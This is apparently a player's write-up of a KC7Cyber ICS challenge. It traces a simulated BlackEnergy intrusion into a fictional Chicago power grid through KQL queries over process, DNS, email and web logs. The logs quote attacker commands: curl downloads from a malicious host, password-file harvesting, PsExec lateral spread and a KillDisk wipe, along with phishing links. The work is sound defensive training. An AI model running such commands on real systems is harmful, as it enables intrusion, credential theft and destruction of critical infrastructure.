Critical Compromise in Chicago - ICS

One of KC7Cyber's moderate challenges, it has the player take on the role of a cybersecurity researcher investigating a mysterious, widespread power outage on the day of one of the nation's most important cybersecurity conferences--which is rumored to be caused by a cyberattack against the city's critical infrastructure.

Sections

Section 1 - SCADA NADA

Having access to the power plant's system logs, I start by checking if there are any signs of abnormal processes re: the SCADA (supervisory control and data acquisition) systems.

ProcessEvents
| where process_commandline has "SCADA"
Query Results
timestamp parent_process_name parent_process_hash process_commandline process_name process_hash hostname username
2024-09-09 11:17:44.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\ProgramData\ICSScanner.exe --scan --network 192.168.0.0/16 --type SCADA --output C:\ProgramData\SCADA_IPs.txt cmd.exe 462a705acf1baad147fe968adcb43d7b55ed40d7f7f5ac98c170d2bb517ee77b BDC0-DESKTOP jisaetang
2024-09-10 03:43:57.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -o C:\ProgramData\SCADA_Malicious_Commands.txt http://chicagogridupdates.com/SCADA_Malicious_Commands.txt cmd.exe ab08a7e519afdd3ed06d07f355b1c913bf79d2fc6538a108ccacf6db2b7d9eff BDC0-DESKTOP jisaetang
2024-09-10 04:01:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "copy C:\\malware\\BlackEnergy.exe \\%i\\SCADA\\BlackEnergy.exe") cmd.exe d21027cfcbd6aad25f8c547149d9a9a8471405d5e5c93d576b0dfd81114d36f3 BDC0-DESKTOP jisaetang
2024-09-10 04:08:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "\\%i\\SCADA\\BlackEnergy.exe && \\%i\\ProgramData\\SCADA_Malicious_Commands.txt") cmd.exe 4ab11d499060aa39d7d5e21fad3f072b3781ca13d3fff400c797a09dc00ff889 BDC0-DESKTOP jisaetang
2024-09-10 04:41:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "\\%i\\SCADA\\KillDisk.exe --all --wipe") cmd.exe 80271c9ee2c2c346780b79fafe36ae1067cd360381130a950cc36ff37f22dd7e BDC0-DESKTOP jisaetang

For better or worse, I immediately find evidence of tampering. An executable named blackenergy.exe is executed and in turn runs ICSScanner.exe to gather all IP addresses belonging SCADA systems in the power plant's network; afterwards, it uses cURL to download a text file containing malicious commands to execute (SCADA_Malicious_Commands.txt) off an attacker-controlled server (http://chicagogridupdates.com). There are, evidently, missing processes in these results; at a certain point, the attackers also obtained the administrator passwords for each SCADA device (Extracted_Password.txt) and used them, along with the legitimate utility PsExec to execute actions such as spreading blackenergy.exe through all SCADA devices, to execute the previously-downloaded command list in each device, and to execute KillDisk.exe--whose name implies it's a disk wiping utility.

PsExec is a legitiamate Sysinternals tool. PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems. [Microsoft Learn]

All commands were executed on hostname BDC0-DESKTOP, belonging to user jisaetang (SCADA Operator Jibby Saetang).

BlackEnergy has something of an storied history; initially (c. 2007) malware used for DDoS attacks [see Jose Nazario's analysis], its most recent iteration (BE3) has much more advanced capabilities, and was famously used by the Russian APT Sandworm (a.k.a. Voodoo Bear, APT44, Seashell Blizzard) in the 2015 Ukrainian power grid hack. The CISA published an advisory at the time: ICS Alert - Cyber-Attack Against Ukrainian Critical Infrastructure; and the incident--naturally--garnered news coverage: Inside the Cunning, Unprecedented Hack of Ukraine's Power Grid (among many).

Looking for more processes related to blackenergy.exe, I do the following:

ProcessEvents
| where * has "blackenergy.exe"
Query Results
timestamp parent_process_name parent_process_hash process_commandline process_name process_hash hostname username
2024-08-29 08:28:45.0000 Explorer.exe 3eb1923ca66cb1120b777787181b90b2ea839120ea5474d66b9f60d74002da54 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe 1624b5f54a285c08cacc24ddb7256ea082802f7934ccc142556c88800fb701ee BDC0-DESKTOP jisaetang
2024-08-29 08:49:45.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f BlackEnergy.exe --beacon-interval 10 --c2 chicagogridupdates.com --scan 192.168.1.0/24 cmd.exe 94886fa6ac36170d2648c6f86a6386625a61998706dae22569a34f770f087bde BDC0-DESKTOP jisaetang
2024-08-29 10:16:29.0000 Explorer.exe 1dde3d7372c1746d177e3dbd87dcd572fbc19ba618d29ba4352e2df8fa3f7a82 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe 209c373fa7b5bce7ac12542f7838ee1a27bc721e5560736671deb45911aab130 BDC0-DESKTOP jisaetang
2024-08-29 10:17:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f BlackEnergy.exe --beacon-interval 10 --c2 chicagogridupdates.com --scan 192.168.1.0/24 cmd.exe 09f401305faa04d1b9e3f66400741858e9ecde3e509ccf41df91f60ff20e5a9d BDC0-DESKTOP jisaetang
2024-09-08 10:12:24.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -o C:\ProgramData\ICSScanner.exe http://chicagogridupdates.com/ICSScanner.exe cmd.exe bbc985b4342c141e8111945ec1e79edbec2dc3f8bd9471601d7314b350b8a19a BDC0-DESKTOP jisaetang
2024-09-09 11:17:44.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\ProgramData\ICSScanner.exe --scan --network 192.168.0.0/16 --type SCADA --output C:\ProgramData\SCADA_IPs.txt cmd.exe 462a705acf1baad147fe968adcb43d7b55ed40d7f7f5ac98c170d2bb517ee77b BDC0-DESKTOP jisaetang
2024-09-10 02:18:57.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir /s /b C:\*password*.txt > C:\ProgramData\Password_Files.txt cmd.exe fe1c829b6270b386ac49a55de407d147ea49ec17dc83b173d93c5feddcdd633d BDC0-DESKTOP jisaetang
2024-09-10 02:53:57.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1,2 delims=:' %i in (C:\ProgramData\Password_Files.txt) do findstr /I /M /C:"password" %i >> C:\ProgramData\Extracted_Password.txt cmd.exe 77c83e68bee106401956a46b268e9b84d4b875b2def5454a6e7d0f6b2b256f78 BDC0-DESKTOP jisaetang
2024-09-10 03:43:57.0000 blackenergy.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -o C:\ProgramData\SCADA_Malicious_Commands.txt http://chicagogridupdates.com/SCADA_Malicious_Commands.txt cmd.exe ab08a7e519afdd3ed06d07f355b1c913bf79d2fc6538a108ccacf6db2b7d9eff BDC0-DESKTOP jisaetang
2024-09-10 04:01:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "copy C:\\malware\\BlackEnergy.exe \\%i\\SCADA\\BlackEnergy.exe") cmd.exe d21027cfcbd6aad25f8c547149d9a9a8471405d5e5c93d576b0dfd81114d36f3 BDC0-DESKTOP jisaetang
2024-09-10 04:08:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f for /F 'tokens=1' %i in (C:\\ProgramData\\SCADA_IPs.txt) do ( set /p password=<C:\\ProgramData\\Extracted_Password.txt psexec.exe \\%i -u administrator -p %password% cmd /c "\\%i\\SCADA\\BlackEnergy.exe && \\%i\\ProgramData\\SCADA_Malicious_Commands.txt") cmd.exe 4ab11d499060aa39d7d5e21fad3f072b3781ca13d3fff400c797a09dc00ff889 BDC0-DESKTOP jisaetang

A slightly more complete picture emerges. It's first executed on 2024-08-29 at 08:28:45 and immediately after connects to the C&C (or C2) server hosted at chicagogridupdates.com. The BlackEnergy executable uses curl to download ICSScanner.exe off chicagogridupdates.com. After scanning the network for SCADA devices and gathering all related IP addresses, the malware gathers all password files (stored in plaintext) and creates a single password list. These are the passwords that are then used to execute commands to spread and render the SCADA devices inoperable. The only traces of this malware across the entire network are in SCADA Operator Jibby Saetang's device.

Now, how did the malware get in his device to begin with? With this query we'll find the first instance of blackenergy.exe being written to disk.

FileCreationEvents
| where filename =~ "blackenergy.exe"
Query Results
timestamp hostname username sha256 path filename process_name
2024-08-29 08:28:45.0000 BDC0-DESKTOP jisaetang 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe explorer.exe
2024-08-29 10:16:29.0000 BDC0-DESKTOP jisaetang dd053f38f5e60cd8750df450a13833c96d1285e78480323a54abab4a536f6317 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe explorer.exe

Interestingly, Jibby downloaded the malware twice, and slightly different versions at that (the sha256 hashes do not match). The first instance was at 2024-08-29 on 08:28:45 in the morning, at which point it executed immediately. The second instance was on 2024-08-29 at 10:16:29 in the morning, and it was also executed. From where did it come from? A malicious document?

FileCreationEvents
| where username =~ "jisaetang"
| serialize
| extend dropper = prev(filename)
| where dropper !~ "blackenergy.exe"
| where filename =~ "blackenergy.exe"
Query Results
timestamp hostname username sha256 path filename process_name dropper
2024-08-29 08:28:45.0000 BDC0-DESKTOP jisaetang 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe explorer.exe Urgent_Cyber_Threat_Alert.zip
2024-08-29 10:16:29.0000 BDC0-DESKTOP jisaetang dd053f38f5e60cd8750df450a13833c96d1285e78480323a54abab4a536f6317 C:\ProgramDataBlackEnergy.exe BlackEnergy.exe explorer.exe Grid_Security_Update.zip

It came from a .zip file: Urgent_Cyber_Threat_Alert.zip and Grid_Security_Update.zip (since there are two blackenergy.exe files in Jibby's system). Given their filenames, it was likely a phishing attack. We'll explore this possibility in the following section.

Section 2 - Phish and Chips

Before investigating Jibby's emails and outbound connections, I'll briefly pivot back to the domain we know the threat actor used: chicagogridupdates.com.

PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip
Query Results
ip
87.250.252.242
104.244.42.129
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
Query Results
domain
chicagogridupdates.com
citygridsolutions.net
infrastructurewatch.org

The threat actors make use of IPs 87.250.252.242 and 104.244.42.129, which are associated with the domains chicagogridupdates.com, citygridsolutions.net and infrastructurewatch.org. Another lookup fails to uncover any other unknown IPs or domains. We can move to examining emails:

let bad_domains =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
Query Results
timestamp sender reply_to recipient subject verdict link
2024-08-26 09:08:20.0000 thresher_libero@hotmail.com chopping_asbestosis@verizon.com elizabeth_nunmaker@chicagopowergrid.com [EXTERNAL] Critical: Severe Security Breach Detected - Immediate Action Required SUSPICIOUS http://citygridsolutions.net/search/images/published/login.html
2024-08-26 09:08:20.0000 thresher_libero@hotmail.com chopping_asbestosis@verizon.com tina_seburg@chicagopowergrid.com [EXTERNAL] Critical: Severe Security Breach Detected - Immediate Action Required SUSPICIOUS http://citygridsolutions.net/search/images/published/login.html
2024-08-26 09:08:20.0000 thresher_libero@hotmail.com chopping_asbestosis@verizon.com joseph_eisenman@chicagopowergrid.com [EXTERNAL] Critical: Severe Security Breach Detected - Immediate Action Required SUSPICIOUS http://citygridsolutions.net/search/images/published/login.html
2024-08-28 08:57:24.0000 dissemblelebanon@aol.com sculpturalmintiest@protonmail.com nathaniel_wickings@chicagopowergrid.com [EXTERNAL] FW: Critical: Severe Security Breach Detected - Immediate Action Required CLEAN https://chicagogridupdates.com/files/online/online/login?language=en
2024-08-28 08:57:24.0000 dissemblelebanon@aol.com sculpturalmintiest@protonmail.com katherine_jackson@chicagopowergrid.com [EXTERNAL] FW: Critical: Severe Security Breach Detected - Immediate Action Required CLEAN https://chicagogridupdates.com/files/online/online/login?language=en
2024-08-29 05:00:45.0000 joseph_eisenman@chicagopowergrid.com joseph_eisenman@chicagopowergrid.com jibby_saetang@chicagopowergrid.com Critical: Grid Security Update Required CLEAN http://chicagogridupdates.com/published/public/files/images/Urgent_Cyber_Threat_Alert.zip
2024-08-29 05:31:52.0000 thresher_libero@hotmail.com chopping_asbestosis@verizon.com steve_mcgrath@chicagopowergrid.com [EXTERNAL] Critical: Grid Security Update Required CLEAN http://citygridsolutions.net/files/online/files/enter
2024-08-29 06:14:35.0000 elizabeth_nunmaker@chicagopowergrid.com elizabeth_nunmaker@chicagopowergrid.com jibby_saetang@chicagopowergrid.com Critical: Grid Security Update Required CLEAN http://chicagogridupdates.com/search/share/online/public/Grid_Security_Update.zip
2024-08-30 08:46:01.0000 thresher_libero@hotmail.com sculpturalmintiest@protonmail.com ralph_tyler@chicagopowergrid.com [EXTERNAL] FW: Critical: Severe Security Breach Detected - Immediate Action Required CLEAN https://infrastructurewatch.org/images/files/share/search/login?language=en
2024-09-02 08:21:32.0000 chopping_asbestosis@verizon.com thresher_libero@hotmail.com alissa_torres@chicagopowergrid.com [EXTERNAL] RE:RE: Critical: Severe Security Breach Detected - Immediate Action Required CLEAN http://citygridsolutions.net/files/public/images/login?language=en
2024-09-02 08:21:32.0000 chopping_asbestosis@verizon.com thresher_libero@hotmail.com jeff_foley@chicagopowergrid.com [EXTERNAL] RE:RE: Critical: Severe Security Breach Detected - Immediate Action Required CLEAN http://citygridsolutions.net/files/public/images/login?language=en
2024-09-04 02:45:18.0000 chopping_asbestosis@verizon.com thresher_libero@hotmail.com david_siegel@chicagopowergrid.com [EXTERNAL] Critical: Severe Security Breach Detected - Immediate Action Required CLEAN https://citygridsolutions.net/public/public/enter
2024-09-05 08:30:13.0000 chopping_asbestosis@verizon.com dissemblelebanon@aol.com betty_wagner@chicagopowergrid.com [EXTERNAL] RE: Critical: Grid Security Update Required CLEAN https://infrastructurewatch.org/published/published/public/signin

Besides the unfortunate SCADA Operator Jibby Saetang, 11 other persons were targeted (Jibby twice). Most worryingly, Operations Manager Joseph Eisenman (joseph_eisenman@chicagopowergrid.com) and Network Administrator Elizabeth Nunmaker (elizabeth_nunmaker@chicagopowergrid.com) were both compromised, and had their email accounts used to deliver malware to Jibby Saetang.

Threat actor email addresses: thresher_libero@hotmail.com, dissemblelebanon@aol.com, chopping_asbestosis@verizon.com and sculpturalmintiest@protonmail.com.

Jibby Saetang was the only one who was sent any attachments; the others were sent false login pages to steal their credentials.

Targeted employees:

let bad_domains =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| where recipient endswith "chicagopowergrid.com"
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| sort by role asc
Query Results
role name
IT Administrator Tina Seburg
IT Administrator Nathaniel Wickings
IT Administrator David Siegel
IT Administrator Betty Wagner
Network Administrator Elizabeth Nunmaker
Network Administrator Steve McGrath
Network Administrator Jeff Foley
Operations Manager Joseph Eisenman
Operations Manager Katherine Jackson
Operations Manager Ralph Tyler
Operations Manager Alissa Torres
SCADA Operator Jibby Saetang

All targeted employees were related to IT, SCADA or Operations more generally. I want to check which accounts were successfully accessed by the known malicious IPs; to do so, I use:

let bad_ips =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip;
let bad_domains =
PassiveDns
| where ip in (bad_ips)
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| where recipient endswith "chicagopowergrid.com"
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| distinct username
| lookup AuthenticationEvents on $left.username == $right.username
| where timestamp between (datetime(2024-08-26 09:08:20.0000) .. datetime(2024-09-06))
| where src_ip !startswith "10.10.0" //internal company ip
and src_ip in (bad_ips)
| where result =~ "successful login"
| summarize count() by timestamp, username, src_ip
Query Results
timestamp username src_ip count_
2024-08-27 02:40:47.0000 elnunmaker 104.244.42.129 1
2024-08-27 04:17:19.0000 joeisenman 87.250.252.242 1
2024-08-28 10:54:24.0000 kajackson 87.250.252.242 1
2024-08-29 10:22:52.0000 stmcgrath 87.250.252.242 1
2024-09-02 02:51:36.0000 ratyler 104.244.42.129 1
2024-09-03 02:04:06.0000 jefoley 87.250.252.242 1
2024-09-03 04:02:11.0000 altorres 104.244.42.129 1

Despite having access to 7 distinct employee accounts, the threat actors only focused on using Nunmaker's and Eisenman's accounts to send malware to the only currently employed SCADA operator.

But how did they know who to target? There must be signs of recon in the InboundNetworkEvents table.

}
let bad_ips =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip;
let bad_domains =
PassiveDns
| where ip in (bad_ips)
| distinct domain;
InboundNetworkEvents
| where src_ip in (bad_ips)
Query Results
timestamp method src_ip user_agent url referrer status_code
2024-08-25 00:00:00.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DBryan%2BQuillen%2BCEO https:chicagopowergrid.com/search 200
2024-08-26 03:52:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DKell%2BDuda%2BIT%2BAdministrator https:chicagopowergrid.com/search 200
2024-08-26 04:06:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DKevin%2BNguyen%2BIT%2BAdministrator https:chicagopowergrid.com/search 200
2024-08-26 04:56:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DJason%2BOh%2BIT%2BAdministrator https:chicagopowergrid.com/search 200
2024-08-26 05:44:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DWaymon%2BHo%2BSCADA%2BAdministrator https:chicagopowergrid.com/search 200
2024-08-26 06:19:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DJibby%2BSaetang%2BSCADA%2BOperator https:chicagopowergrid.com/search 200
2024-08-26 06:52:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DWade%2BWells%2BSCADA%2BOperator https:chicagopowergrid.com/search 200
2024-08-26 07:37:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DGreg%2BSchloemer%2BNetwork%2BAdministrator https:chicagopowergrid.com/search 200
2024-08-26 07:52:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DMaya%2BOmere%2BCybersecurity%2BAnalyst https:chicagopowergrid.com/search 200
2024-08-26 08:17:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DKatie%2BLedoux%2BLegal%2BCounsel https:chicagopowergrid.com/search 200
2024-08-26 08:20:40.0000 GET 87.250.252.242 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/company_directory https://www.darkwebhackersforum.com 200
2024-08-26 09:18:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/executive_team_bios https://www.darkwebhackersforum.com 200
2024-08-26 09:31:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/IT/network_diagrams/ https://www.darkwebhackersforum.com 200
2024-08-26 09:56:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/IT/system_configurations/ https://www.darkwebhackersforum.com 200
2024-08-26 10:45:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/SCADA/system_overview/ https://www.darkwebhackersforum.com 200
2024-08-26 11:00:40.0000 GET 87.250.252.242 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/employee_profiles/Bryan_Quillen/ https://www.darkwebhackersforum.com 200
2024-08-26 11:54:40.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/employee_profiles/Kell_Duda/ https://www.darkwebhackersforum.com 200
2024-08-27 03:49:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/employee_profiles/Waymon_Ho/ https://www.darkwebhackersforum.com 200
2024-08-27 04:09:28.0000 GET 87.250.252.242 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/employee_profiles/Greg_Schloemer/ https://www.darkwebhackersforum.com 200
2024-08-27 04:56:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/employee_profiles/Maya_Omere/ https://www.darkwebhackersforum.com 200
2024-08-27 05:42:28.0000 GET 87.250.252.242 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/news/employee-of-the-month/ https://www.supernicehackerbros.com 200
2024-08-27 06:03:28.0000 GET 87.250.252.242 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/news/articles/simeon-kakpovi-employee-of-the-month/ https://www.supernicehackerbros.com 200
2024-08-27 06:07:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/public-relations/top-10-reasons-our-ceo-is-awesome/ https://www.supernicehackerbros.com 200
2024-08-27 06:21:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/public-relations/ceo-bryan-quillen-helps-local-kids/ https://www.supernicehackerbros.com 200
2024-08-27 07:05:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/public-relations/ceo-bryan-quillen-huge-animal-shelter-donation/ https://www.supernicehackerbros.com 200
2024-08-27 07:48:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/public-relations/ceo-bryan-quillen-community-outreach/ https://www.supernicehackerbros.com 200
2024-08-27 08:31:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/events/upcoming-corporate-karaoke-night/ https://www.supernicehackerbros.com 200
2024-08-27 09:21:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DChicago%2Bgrid%2Bsystem%2Barchitecture https:chicagopowergrid.com/search 200
2024-08-27 10:03:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DSCADA%2Bnetwork%2Btopology https:chicagopowergrid.com/search 200
2024-08-27 10:50:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DChicago%2Bgrid%2Bvulnerability%2Bassessments https:chicagopowergrid.com/search 200
2024-08-27 11:25:28.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DDisaster%2Brecovery%2Bplans https:chicagopowergrid.com/search 200
2024-08-28 04:46:47.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DEmergency%2Bshutdown%2Bprocedures https:chicagopowergrid.com/search 200
2024-08-28 05:12:47.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DIT%2Bdepartment%2Bcontacts https:chicagopowergrid.com/search 200
2024-08-28 05:56:47.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DIncident%2Bresponse%2Bplaybook https:chicagopowergrid.com/search 200
2024-08-28 06:10:47.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DRecent%2Bsecurity%2Baudits https:chicagopowergrid.com/search 200
2024-08-28 06:44:47.0000 GET 104.244.42.129 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:1.9.5.20) Gecko/2021-05-22 21:31:56 Firefox/10.0 https://chicagopowergrid.com/search%3DPower%2Bgrid%2Bhacking https:chicagopowergrid.com/search 200

The threat actors looked up information on various employees: Bryan Quillen (CEO), Kell Duda (IT Administrator), Kevin Nguyen (IT Administrator), Jason Oh (IT Administrator), Waymon Ho (SCADA Administrator), Jibby Saetang (SCADA Operator), Wade Wells (SCADA Operator), Greg Schloemer (Network Administrator), Maya Omere (Cybersecurity Analyst), Katie Ledoux (Legal Counsel), and Simeon Kakpovi (Physical Security Specialist). They also looked up information on the CEO's community outreach and social work, the employee of the month page, upcoming employee-focused social events, the IT department's contact information, and technical information on Chicago's power grid (such as known vulnerabilities, incident response plans, and disaster recovery plans).

The threat actor might've done something else in Jibby's computer (and by extension, across the SCADA devices in the network); particularly given the scale and sophistication of the attack, they could've attempted to destroy evidence of their tampering or to impede recovery efforts (such as destroying backups).

ProcessEvents
| where username == "jisaetang"
| where timestamp >= datetime(2024-08-29 08:25:00.0000)
| where process_commandline !contains "SystemApps"
and process_commandline !contains "WindowsApps"
and process_commandline !contains "Teams"
and process_commandline !contains "Office"
and process_commandline !contains "msedge.exe"
Query Results
